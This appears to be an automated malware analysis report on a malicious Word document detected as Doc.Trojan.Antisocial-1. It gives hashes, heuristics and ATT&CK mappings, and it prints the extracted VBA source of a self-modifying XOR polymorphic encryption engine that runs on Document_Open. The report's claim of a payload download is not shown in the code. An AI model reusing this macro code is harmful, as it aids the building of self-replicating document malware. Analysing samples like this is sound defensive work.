Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 0d6e713eb2e6a84f…

MALICIOUS

Office (OOXML) / .DOCX

17.9 KB Created: 2026-06-09 12:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-12
MD5: effc90ae70c2b757cd885cb61fc42112 SHA-1: f940a2c4d98ff060c516f846bc4159bfd4367b27 SHA-256: 0d6e713eb2e6a84f70c3e60b2833f4fd097545ede81afb20d428a08cf1e6217e
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, including a Document_Open macro. The script exhibits self-replication behavior by modifying its own VBA code and includes a poly-encryption engine. This suggests the document is designed to download and execute a secondary payload, characteristic of a macro-based malware dropper.

Heuristics 5

  • ClamAV: Doc.Trojan.Antisocial-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Antisocial-1
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine V1, V8
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1348 bytes
SHA-256: c3d3fa8ec2ae04ad0ed98822cde55483da5576dfde8dcd40c7f29d3f4bd4a4f1
Detection
ClamAV: Doc.Trojan.Antisocial-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
'          AntiSocial Poly-Encryption Engine v.1.0
'By Lys Kovick For The Alcoholic Anarchists of America (AAA)
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
'

Private Sub Document_Open()
For V1 = 17 To 28 '//Adjust V1 For Line Changes!
V2 = Null
V3 = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V1, 1))
V4 = Asc((Mid(V3, 2, 1)))
V5 = V4 Xor 39
For V6 = 3 To Len(V3)
V7 = Asc(Mid(V3, V6, 1)) Xor V5
V2 = V2 & Chr(V7)
Next V6
V8 = V2
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine V1, V8
Next V1
Call VM
End Sub
Private Sub VM()
For V1 = 17 To 28 '//Adjust V1 For Line Changes!
V2 = Null
V3 = "'" & (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V1, 1))
V4 = Int(Rnd() * 8) + 1
For V5 = 1 To Len(V3)
V6 = Asc(Mid(V3, V5, 1)) Xor V4
V2 = V2 & Chr(V6)
Next V5
V7 = V2
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine V1, "'" & V7
Next V1
'//Put Infection Routine Here...
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: c68ff32beb834d58725e76c515664b5018d8b1060c04006f00373a80d0003c7b
Detection
ClamAV: Doc.Trojan.Antisocial-1
Obfuscation or payload: unlikely

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